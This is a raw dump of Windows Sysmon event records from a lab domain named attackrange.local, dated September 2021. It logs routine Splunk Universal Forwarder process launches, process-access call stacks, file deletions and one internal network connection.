14:56:17.319{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+fd18|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000048281Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:56:17.319{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000048280Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:56:17.319{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000048279Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:56:17.319{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000048278Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:56:17.319{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-7211-613B-3B0B-00000000F001}6628C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000048277Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:56:17.319{7BD73061-664E-613B-B000-00000000F001}41843260C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{7BD73061-7211-613B-3B0B-00000000F001}6628C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000048276Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:56:17.319{7BD73061-7211-613B-3B0B-00000000F001}6628C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe8.0.2Active Directory monitorsplunk ApplicationSplunk Inc.splunk-admon.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{7BD73061-65B0-613B-E703-000000000000}0x3e70SystemMD5=947139F3BB2AB70CAF692A60C7A3A735,SHA256=940554A0170A70F634689CC84B00C51AC0BCF773C9639E1305E3672441FC85C8,IMPHASH=357CEC18833E7FF2ABFB722902B13165{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 23542300x800000000000000048275Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:56:17.084{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=F22595AE34D981AED6FA9EE11F6C0C4D,SHA256=E9D198C857A4466C5726339C55F8853854D1CAC13D15D3276E737BE21EAF3AAA,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000015980Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:56:18.461{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=2E06CFCFD0B0B6BFB44BB281667CE015,SHA256=1570AA65C6EFDD756D28A32148C5E230EF9CD648971F67C2D68D9E60D114D012,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000048304Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:56:18.662{7BD73061-664F-613B-B400-00000000F001}36484280C:\Windows\system32\conhost.exe{7BD73061-7212-613B-3D0B-00000000F001}3276C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000048303Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:56:18.662{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+fd18|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000048302Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:56:18.662{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000048301Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:56:18.662{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000048300Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:56:18.662{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000048299Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:56:18.662{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-7212-613B-3D0B-00000000F001}3276C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000048298Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:56:18.662{7BD73061-664E-613B-B000-00000000F001}41843260C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{7BD73061-7212-613B-3D0B-00000000F001}3276C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000048297Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:56:18.663{7BD73061-7212-613B-3D0B-00000000F001}3276C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe8.0.2Network monitorSplunk ApplicationSplunk Inc.splunk-netmon.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{7BD73061-65B0-613B-E703-000000000000}0x3e70SystemMD5=8746B8C1724B67C2B1261446C0CFAA57,SHA256=7EFD09FD383FAA75C5D2990E6DBBFD846AEAA08B7037C7D66B4A0EF2AE0866B3,IMPHASH=7B985F47B35272AD7B5218255ACE7AEC{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 23542300x800000000000000048296Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:56:18.366{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=A88F961F998EF68B0E9BC9F5B5EFEE68,SHA256=3E3992140FC6424C255656E1BC491F7212038829E48AF9DABF26E72BFC976D7D,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000048295Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:56:18.366{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=0746FAE1B02881E34AEFCCB5860B30CC,SHA256=B1DAFE51D4F968C312003FF22261AA8C49739DD6D105660289760E0805ACF9D3,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000048294Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:56:18.131{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=A64071E717588FFA22904B581944B7B1,SHA256=D31918B3623F9DA790C1B225C7C6F699E99840A14AD0C6D7DED01D0C31AF588D,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000015979Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:56:16.377{625C326B-6882-613B-D200-00000000F101}3164C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50261-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8000- 23542300x800000000000000015981Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:56:19.477{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=DD00EFD154754B7B8F213B4672B7C51B,SHA256=B42A830F15F3C487B06F8B2A0B1EC631122CF3A9B1054F99C2400EE881D035DD,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000048315Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:56:19.741{7BD73061-7213-613B-3E0B-00000000F001}18201156C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe0x101400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+55e675|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+55e1a6|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+6b453|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+8e8530|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000048314Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:56:19.694{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=A88F961F998EF68B0E9BC9F5B5EFEE68,SHA256=3E3992140FC6424C255656E1BC491F7212038829E48AF9DABF26E72BFC976D7D,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000048313Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:56:19.522{7BD73061-664F-613B-B400-00000000F001}36484280C:\Windows\system32\conhost.exe{7BD73061-7213-613B-3E0B-00000000F001}1820C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000048312Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:56:19.522{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+fd18|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000048311Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:56:19.522{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000048310Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:56:19.522{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000048309Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:56:19.522{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000048308Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:56:19.522{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-7213-613B-3E0B-00000000F001}1820C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000048307Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:56:19.522{7BD73061-664E-613B-B000-00000000F001}41843260C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{7BD73061-7213-613B-3E0B-00000000F001}1820C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000048306Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:56:19.523{7BD73061-7213-613B-3E0B-00000000F001}1820C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe-----"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2C:\Windows\system32\NT AUTHORITY\SYSTEM{7BD73061-65B0-613B-E703-000000000000}0x3e70SystemMD5=030CC9FD3784684043D9236FF16904DE,SHA256=6C84A212BD1EA1FCC493E9F8ED1C1507E2773F6FE71ACDE265067F3153BE6241,IMPHASH=45491F0E80AC016364EB8FB78BD23A1C{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 23542300x800000000000000048305Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 